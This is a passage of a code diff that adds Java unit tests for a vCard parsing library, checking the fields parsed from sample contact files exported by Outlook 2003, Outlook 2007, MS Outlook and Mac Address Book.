+		}
+
+		//extended types
+		{
+			assertEquals(4, countExtTypes(vcard));
+
+			RawType f = vcard.getExtendedProperties("X-ABLABEL").get(0);
+			assertEquals("item2", f.getGroup());
+			assertEquals("X-ABLabel", f.getTypeName());
+			assertEquals("_$!<HomePage>!$_", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ABUID").get(0);
+			assertEquals("X-ABUID", f.getTypeName());
+			assertEquals("0E7602CC-443E-4B82-B4B1-90F62F99A199:ABPerson", f.getValue());
+
+			f = vcard.getExtendedProperties("X-GENERATOR").get(0);
+			assertEquals("X-GENERATOR", f.getTypeName());
+			assertEquals("Cardme Generator", f.getValue());
+
+			f = vcard.getExtendedProperties("X-LONG-STRING").get(0);
+			assertEquals("X-LONG-STRING", f.getTypeName());
+			assertEquals("1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890", f.getValue());
+		}
+	}
+
+	@Test
+	public void msOutlookVCard() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("John_Doe_MS_OUTLOOK.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V2_1, vcard.getVersion());
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("en-us", f.getSubTypes().getLanguage());
+			assertEquals("Doe", f.getFamily());
+			assertEquals("John", f.getGiven());
+			assertEquals(Arrays.asList("Richter", "James"), f.getAdditional());
+			assertEquals(Arrays.asList("Mr."), f.getPrefixes());
+			assertEquals(Arrays.asList("Sr."), f.getSuffixes());
+		}
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Mr. John Richter James Doe Sr.", f.getValue());
+		}
+
+		//NICKNAME
+		{
+			NicknameType f = vcard.getNickname();
+			assertEquals(Arrays.asList("Johny"), f.getValues());
+		}
+
+		//ORG
+		{
+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("IBM", "Accounting"), f.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("Money Counter", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+
+			NoteType f = it.next();
+			assertEquals("THIS SOFTWARE IS PROVIDED BY GEORGE EL-HADDAD ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL GEORGE EL-HADDAD OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+			TelephoneType f = it.next();
+
+			assertEquals("(905) 555-1234", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("(905) 666-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("Cresent moon drive", f.getStreetAddress());
+			assertEquals("Albaney", f.getLocality());
+			assertEquals("New York", f.getRegion());
+			assertEquals("12345", f.getPostalCode());
+			assertEquals("United States of America", f.getCountry());
+			assertEquals("Cresent moon drive\r\nAlbaney, New York  12345", f.getLabel());
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(AddressTypeParameter.WORK));
+			assertTrue(types.contains(AddressTypeParameter.PREF));
+
+			f = it.next();
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("Silicon Alley 5,", f.getStreetAddress());
+			assertEquals("New York", f.getLocality());
+			assertEquals("New York", f.getRegion());
+			assertEquals("12345", f.getPostalCode());
+			assertEquals("United States of America", f.getCountry());
+			assertEquals("Silicon Alley 5,\r\nNew York, New York  12345", f.getLabel());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+
+			assertFalse(it.hasNext());
+		}
+
+		//LABEL
+		{
+			assertTrue(vcard.getOrphanedLabels().isEmpty());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("http://www.ibm.com", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("WORK"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ROLE
+		{
+			Iterator<RoleType> it = vcard.getRoles().iterator();
+
+			RoleType f = it.next();
+			assertEquals("Counting Money", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 1980);
+			c.set(Calendar.MONTH, Calendar.MARCH);
+			c.set(Calendar.DAY_OF_MONTH, 22);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("john.doe@ibm.cm", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(EmailTypeParameter.PREF));
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			assertFalse(it.hasNext());
+		}
+
+		//PHOTO
+		{
+			Iterator<PhotoType> it = vcard.getPhotos().iterator();
+
+			PhotoType f = it.next();
+			assertEquals(ImageTypeParameter.JPEG, f.getContentType());
+			assertEquals(860, f.getData().length);
+
+			assertFalse(it.hasNext());
+		}
+
+		//REV
+		{
+			RevisionType f = vcard.getRevision();
+			Calendar c = Calendar.getInstance(TimeZone.getTimeZone("UTC"));
+			c.clear();
+			c.set(Calendar.YEAR, 2012);
+			c.set(Calendar.MONTH, Calendar.MARCH);
+			c.set(Calendar.DAY_OF_MONTH, 5);
+			c.set(Calendar.HOUR_OF_DAY, 13);
+			c.set(Calendar.MINUTE, 19);
+			c.set(Calendar.SECOND, 33);
+			assertEquals(c.getTime(), f.getTimestamp());
+		}
+
+		//extended types
+		{
+			assertEquals(6, countExtTypes(vcard));
+
+			RawType f = vcard.getExtendedProperties("X-MS-OL-DEFAULT-POSTAL-ADDRESS").get(0);
+			assertEquals("X-MS-OL-DEFAULT-POSTAL-ADDRESS", f.getTypeName());
+			assertEquals("2", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-ANNIVERSARY").get(0);
+			assertEquals("X-MS-ANNIVERSARY", f.getTypeName());
+			assertEquals("20110113", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-IMADDRESS").get(0);
+			assertEquals("X-MS-IMADDRESS", f.getTypeName());
+			assertEquals("johny5@aol.com", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-OL-DESIGN").get(0);
+			assertEquals("X-MS-OL-DESIGN", f.getTypeName());
+			assertEquals("<card xmlns=\"http://schemas.microsoft.com/office/outlook/12/electronicbusinesscards\" ver=\"1.0\" layout=\"left\" bgcolor=\"ffffff\"><img xmlns=\"\" align=\"tleft\" area=\"32\" use=\"photo\"/><fld xmlns=\"\" prop=\"name\" align=\"left\" dir=\"ltr\" style=\"b\" color=\"000000\" size=\"10\"/><fld xmlns=\"\" prop=\"org\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"title\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"dept\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"telwork\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"><label align=\"right\" color=\"626262\">Work</label></fld><fld xmlns=\"\" prop=\"telhome\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"><label align=\"right\" color=\"626262\">Home</label></fld><fld xmlns=\"\" prop=\"email\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"addrwork\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"addrhome\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"webwork\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/></card>", f.getValue());
+			assertEquals("utf-8", f.getSubTypes().getCharset());
+
+			f = vcard.getExtendedProperties("X-MS-MANAGER").get(0);
+			assertEquals("X-MS-MANAGER", f.getTypeName());
+			assertEquals("Big Blue", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-ASSISTANT").get(0);
+			assertEquals("X-MS-ASSISTANT", f.getTypeName());
+			assertEquals("Jenny", f.getValue());
+		}
+	}
+
+	@Test
+	public void outlook2007VCard() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("outlook-2007.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V2_1, vcard.getVersion());
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("en-us", f.getSubTypes().getLanguage());
+			assertEquals("Angstadt", f.getFamily());
+			assertEquals("Michael", f.getGiven());
+			assertTrue(f.getAdditional().isEmpty());
+			assertEquals(Arrays.asList("Mr."), f.getPrefixes());
+			assertEquals(Arrays.asList("Jr."), f.getSuffixes());
+		}
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Mr. Michael Angstadt Jr.", f.getValue());
+		}
+
+		//NICKNAME
+		{
+			NicknameType f = vcard.getNickname();
+			assertEquals(Arrays.asList("Mike"), f.getValues());
+		}
+
+		//ORG
+		{
+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("TheCompany", "TheDepartment"), f.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("TheJobTitle", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+
+			NoteType f = it.next();
+			assertEquals("This is the NOTE field	\r\nI assume it encodes this text inside a NOTE vCard type.\r\nBut I'm not sure because there's text formatting going on here.\r\nIt does not preserve the formatting", f.getValue());
+			assertEquals("us-ascii", f.getSubTypes().getCharset());
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+			TelephoneType f = it.next();
+
+			assertEquals("(111) 555-1111", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("(111) 555-2222", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("(111) 555-4444", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+			assertTrue(types.contains(TelephoneTypeParameter.VOICE));
+
+			f = it.next();
+			assertEquals("(111) 555-3333", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.FAX));
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals(null, f.getPoBox());
+			assertEquals("TheOffice", f.getExtendedAddress());
+			assertEquals("222 Broadway", f.getStreetAddress());
+			assertEquals("New York", f.getLocality());
+			assertEquals("NY", f.getRegion());
+			assertEquals("99999", f.getPostalCode());
+			assertEquals("USA", f.getCountry());
+			assertEquals("222 Broadway\r\nNew York, NY 99999\r\nUSA", f.getLabel());
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(AddressTypeParameter.WORK));
+			assertTrue(types.contains(AddressTypeParameter.PREF));
+
+			assertFalse(it.hasNext());
+		}
+
+		//LABEL
+		{
+			assertTrue(vcard.getOrphanedLabels().isEmpty());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("http://mikeangstadt.name", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("HOME"));
+
+			f = it.next();
+			assertEquals("http://mikeangstadt.name", f.getValue());
+			types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("WORK"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//ROLE
+		{
+			Iterator<RoleType> it = vcard.getRoles().iterator();
+
+			RoleType f = it.next();
+			assertEquals("TheProfession", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 1922);
+			c.set(Calendar.MONTH, Calendar.MARCH);
+			c.set(Calendar.DAY_OF_MONTH, 10);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//KEY
+		{
+			Iterator<KeyType> it = vcard.getKeys().iterator();
+
+			KeyType f = it.next();
+			assertEquals(KeyTypeParameter.X509, f.getContentType());
+			assertEquals(514, f.getData().length);
+
+			assertFalse(it.hasNext());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("mike.angstadt@gmail.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(EmailTypeParameter.PREF));
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+
+			assertFalse(it.hasNext());
+		}
+
+		//PHOTO
+		{
+			Iterator<PhotoType> it = vcard.getPhotos().iterator();
+
+			PhotoType f = it.next();
+			assertEquals(ImageTypeParameter.JPEG, f.getContentType());
+			assertEquals(2324, f.getData().length);
+
+			assertFalse(it.hasNext());
+		}
+
+		//FBURL
+		{
+			//a 4.0 property in a 2.1 vCard...
+			Iterator<FbUrlType> it = vcard.getFbUrls().iterator();
+
+			FbUrlType f = it.next();
+			assertEquals("http://website.com/mycal", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//REV
+		{
+			RevisionType f = vcard.getRevision();
+			Calendar c = Calendar.getInstance(TimeZone.getTimeZone("UTC"));
+			c.clear();
+			c.set(Calendar.YEAR, 2012);
+			c.set(Calendar.MONTH, Calendar.AUGUST);
+			c.set(Calendar.DAY_OF_MONTH, 1);
+			c.set(Calendar.HOUR_OF_DAY, 18);
+			c.set(Calendar.MINUTE, 46);
+			c.set(Calendar.SECOND, 31);
+			assertEquals(c.getTime(), f.getTimestamp());
+		}
+
+		//extended types
+		{
+			assertEquals(8, countExtTypes(vcard));
+
+			RawType f = vcard.getExtendedProperties("X-MS-TEL").get(0);
+			assertEquals("X-MS-TEL", f.getTypeName());
+			assertEquals("(111) 555-4444", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains("VOICE"));
+			assertTrue(types.contains("CALLBACK"));
+
+			f = vcard.getExtendedProperties("X-MS-OL-DEFAULT-POSTAL-ADDRESS").get(0);
+			assertEquals("X-MS-OL-DEFAULT-POSTAL-ADDRESS", f.getTypeName());
+			assertEquals("2", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-ANNIVERSARY").get(0);
+			assertEquals("X-MS-ANNIVERSARY", f.getTypeName());
+			assertEquals("20120801", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-IMADDRESS").get(0);
+			assertEquals("X-MS-IMADDRESS", f.getTypeName());
+			assertEquals("im@aim.com", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-OL-DESIGN").get(0);
+			assertEquals("X-MS-OL-DESIGN", f.getTypeName());
+			assertEquals("<card xmlns=\"http://schemas.microsoft.com/office/outlook/12/electronicbusinesscards\" ver=\"1.0\" layout=\"left\" bgcolor=\"ffffff\"><img xmlns=\"\" align=\"tleft\" area=\"32\" use=\"photo\"/><fld xmlns=\"\" prop=\"name\" align=\"left\" dir=\"ltr\" style=\"b\" color=\"000000\" size=\"10\"/><fld xmlns=\"\" prop=\"org\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"title\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"dept\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"telwork\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"><label align=\"right\" color=\"626262\">Work</label></fld><fld xmlns=\"\" prop=\"telcell\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"><label align=\"right\" color=\"626262\">Mobile</label></fld><fld xmlns=\"\" prop=\"telhome\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"><label align=\"right\" color=\"626262\">Home</label></fld><fld xmlns=\"\" prop=\"email\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"addrwork\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"webwork\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/></card>", f.getValue());
+			assertEquals("utf-8", f.getSubTypes().getCharset());
+
+			f = vcard.getExtendedProperties("X-MS-MANAGER").get(0);
+			assertEquals("X-MS-MANAGER", f.getTypeName());
+			assertEquals("TheManagerName", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-ASSISTANT").get(0);
+			assertEquals("X-MS-ASSISTANT", f.getTypeName());
+			assertEquals("TheAssistantName", f.getValue());
+
+			f = vcard.getExtendedProperties("X-MS-SPOUSE").get(0);
+			assertEquals("X-MS-SPOUSE", f.getTypeName());
+			assertEquals("TheSpouse", f.getValue());
+		}
+	}
+
+	@Test
+	public void macAddressBookVCard() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("John_Doe_MAC_ADDRESS_BOOK.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V3_0, vcard.getVersion());
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Doe", f.getFamily());
+			assertEquals("John", f.getGiven());
+			assertEquals(Arrays.asList("Richter,James"), f.getAdditional());
+			assertEquals(Arrays.asList("Mr."), f.getPrefixes());
+			assertEquals(Arrays.asList("Sr."), f.getSuffixes());
+		}
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("Mr. John Richter,James Doe Sr.", f.getValue());
+		}
+
+		//NICKNAME
+		{
+			NicknameType f = vcard.getNickname();
+			assertEquals(Arrays.asList("Johny"), f.getValues());
+		}
+
+		//ORG
+		{
+			OrganizationType f = vcard.getOrganization();
+			assertEquals(Arrays.asList("IBM", "Accounting"), f.getValues());
+		}
+
+		//TITLE
+		{
+			Iterator<TitleType> it = vcard.getTitles().iterator();
+
+			TitleType f = it.next();
+			assertEquals("Money Counter", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//EMAIL
+		{
+			Iterator<EmailType> it = vcard.getEmails().iterator();
+
+			EmailType f = it.next();
+			assertEquals("john.doe@ibm.com", f.getValue());
+			Set<EmailTypeParameter> types = f.getTypes();
+			assertEquals(3, types.size());
+			assertTrue(types.contains(EmailTypeParameter.INTERNET));
+			assertTrue(types.contains(new EmailTypeParameter("work")));
+			assertTrue(types.contains(EmailTypeParameter.PREF));
+
+			assertFalse(it.hasNext());
+		}
+
+		//TEL
+		{
+			Iterator<TelephoneType> it = vcard.getTelephoneNumbers().iterator();
+
+			TelephoneType f = it.next();
+			assertEquals("905-777-1234", f.getText());
+			Set<TelephoneTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.PREF));
+
+			f = it.next();
+			assertEquals("905-666-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+
+			f = it.next();
+			assertEquals("905-555-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.CELL));
+
+			f = it.next();
+			assertEquals("905-888-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.HOME));
+			assertTrue(types.contains(TelephoneTypeParameter.FAX));
+
+			f = it.next();
+			assertEquals("905-999-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.WORK));
+			assertTrue(types.contains(TelephoneTypeParameter.FAX));
+
+			f = it.next();
+			assertEquals("905-111-1234", f.getText());
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(TelephoneTypeParameter.PAGER));
+
+			f = it.next();
+			assertEquals("905-222-1234", f.getText());
+			assertEquals("item1", f.getGroup());
+			types = f.getTypes();
+			assertEquals(0, types.size());
+
+			assertFalse(it.hasNext());
+		}
+
+		//ADR
+		{
+			Iterator<AddressType> it = vcard.getAddresses().iterator();
+
+			AddressType f = it.next();
+			assertEquals("item2", f.getGroup());
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("Silicon Alley 5,", f.getStreetAddress());
+			assertEquals("New York", f.getLocality());
+			assertEquals("New York", f.getRegion());
+			assertEquals("12345", f.getPostalCode());
+			assertEquals("United States of America", f.getCountry());
+
+			Set<AddressTypeParameter> types = f.getTypes();
+			assertEquals(2, types.size());
+			assertTrue(types.contains(AddressTypeParameter.HOME));
+			assertTrue(types.contains(AddressTypeParameter.PREF));
+
+			f = it.next();
+			assertEquals("item3", f.getGroup());
+			assertEquals(null, f.getPoBox());
+			assertEquals(null, f.getExtendedAddress());
+			assertEquals("Street4" + NEWLINE + "Building 6" + NEWLINE + "Floor 8", f.getStreetAddress());
+			assertEquals("New York", f.getLocality());
+			assertEquals(null, f.getRegion());
+			assertEquals("12345", f.getPostalCode());
+			assertEquals("USA", f.getCountry());
+
+			types = f.getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains(AddressTypeParameter.WORK));
+
+			assertFalse(it.hasNext());
+		}
+
+		//NOTE
+		{
+			Iterator<NoteType> it = vcard.getNotes().iterator();
+
+			NoteType f = it.next();
+			assertEquals("THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." + NEWLINE + "Favotire Color: Blue", f.getValue());
+
+			assertFalse(it.hasNext());
+		}
+
+		//URL
+		{
+			Iterator<UrlType> it = vcard.getUrls().iterator();
+
+			UrlType f = it.next();
+			assertEquals("item4", f.getGroup());
+			assertEquals("http://www.ibm.com", f.getValue());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("pref"));
+
+			assertFalse(it.hasNext());
+		}
+
+		//BDAY
+		{
+			BirthdayType f = vcard.getBirthday();
+			Calendar c = Calendar.getInstance();
+			c.clear();
+			c.set(Calendar.YEAR, 2012);
+			c.set(Calendar.MONTH, Calendar.JUNE);
+			c.set(Calendar.DAY_OF_MONTH, 6);
+			assertEquals(c.getTime(), f.getDate());
+		}
+
+		//PHOTO
+		{
+			Iterator<PhotoType> it = vcard.getPhotos().iterator();
+
+			PhotoType f = it.next();
+			assertEquals(null, f.getContentType());
+			assertEquals(18242, f.getData().length);
+
+			assertFalse(it.hasNext());
+		}
+
+		//extended types
+		{
+			assertEquals(9, countExtTypes(vcard));
+
+			RawType f = vcard.getExtendedProperties("X-PHONETIC-FIRST-NAME").get(0);
+			assertEquals("X-PHONETIC-FIRST-NAME", f.getTypeName());
+			assertEquals("Jon", f.getValue());
+
+			f = vcard.getExtendedProperties("X-PHONETIC-LAST-NAME").get(0);
+			assertEquals("X-PHONETIC-LAST-NAME", f.getTypeName());
+			assertEquals("Dow", f.getValue());
+
+			f = vcard.getExtendedProperties("X-ABLABEL").get(0);
+			assertEquals("X-ABLabel", f.getTypeName());
+			assertEquals("AssistantPhone", f.getValue());
+			assertEquals("item1", f.getGroup());
+
+			f = vcard.getExtendedProperties("X-ABADR").get(0);
+			assertEquals("X-ABADR", f.getTypeName());
+			assertEquals("Silicon Alley", f.getValue());
+			assertEquals("item2", f.getGroup());
+
+			f = vcard.getExtendedProperties("X-ABADR").get(1);
+			assertEquals("X-ABADR", f.getTypeName());
+			assertEquals("Street 4, Building 6,\\nFloor 8\\nNew York\\nUSA", f.getValue());
+			assertEquals("item3", f.getGroup());
+
+			f = vcard.getExtendedProperties("X-ABLABEL").get(1);
+			assertEquals("X-ABLabel", f.getTypeName());
+			assertEquals("_$!<HomePage>!$_", f.getValue());
+			assertEquals("item4", f.getGroup());
+
+			f = vcard.getExtendedProperties("X-ABRELATEDNAMES").get(0);
+			assertEquals("X-ABRELATEDNAMES", f.getTypeName());
+			assertEquals("Jenny", f.getValue());
+			assertEquals("item5", f.getGroup());
+			Set<String> types = f.getSubTypes().getTypes();
+			assertEquals(1, types.size());
+			assertTrue(types.contains("pref"));
+
+			f = vcard.getExtendedProperties("X-ABLABEL").get(2);
+			assertEquals("X-ABLabel", f.getTypeName());
+			assertEquals("Spouse", f.getValue());
+			assertEquals("item5", f.getGroup());
+
+			f = vcard.getExtendedProperties("X-ABUID").get(0);
+			assertEquals("X-ABUID", f.getTypeName());
+			assertEquals("6B29A774-D124-4822-B8D0-2780EC117F60\\:ABPerson", f.getValue());
+		}
+	}
+
+	@Test
+	public void outlook2003VCard() throws Exception {
+		VCardReader reader = new VCardReader(getClass().getResourceAsStream("outlook-2003.vcf"));
+		VCard vcard = reader.readNext();
+
+		//VERSION
+		assertEquals(VCardVersion.V2_1, vcard.getVersion());
+
+		//N
+		{
+			StructuredNameType f = vcard.getStructuredName();
+			assertEquals("Doe", f.getFamily());
+			assertEquals("John", f.getGiven());
+			assertTrue(f.getAdditional().isEmpty());
+			assertEquals(Arrays.asList("Mr."), f.getPrefixes());
+			assertEquals(Arrays.asList("III"), f.getSuffixes());
+		}
+
+		//FN
+		{
+			FormattedNameType f = vcard.getFormattedName();
+			assertEquals("John Doe III", f.getValue());
+		}
+
+		//NICKNAME
+		{
+			NicknameType f = vcard.getNickname();
+			assertEquals(Arrays.asList("Joey"), f.getValues());
+		}
+
+		//ORG
+		{
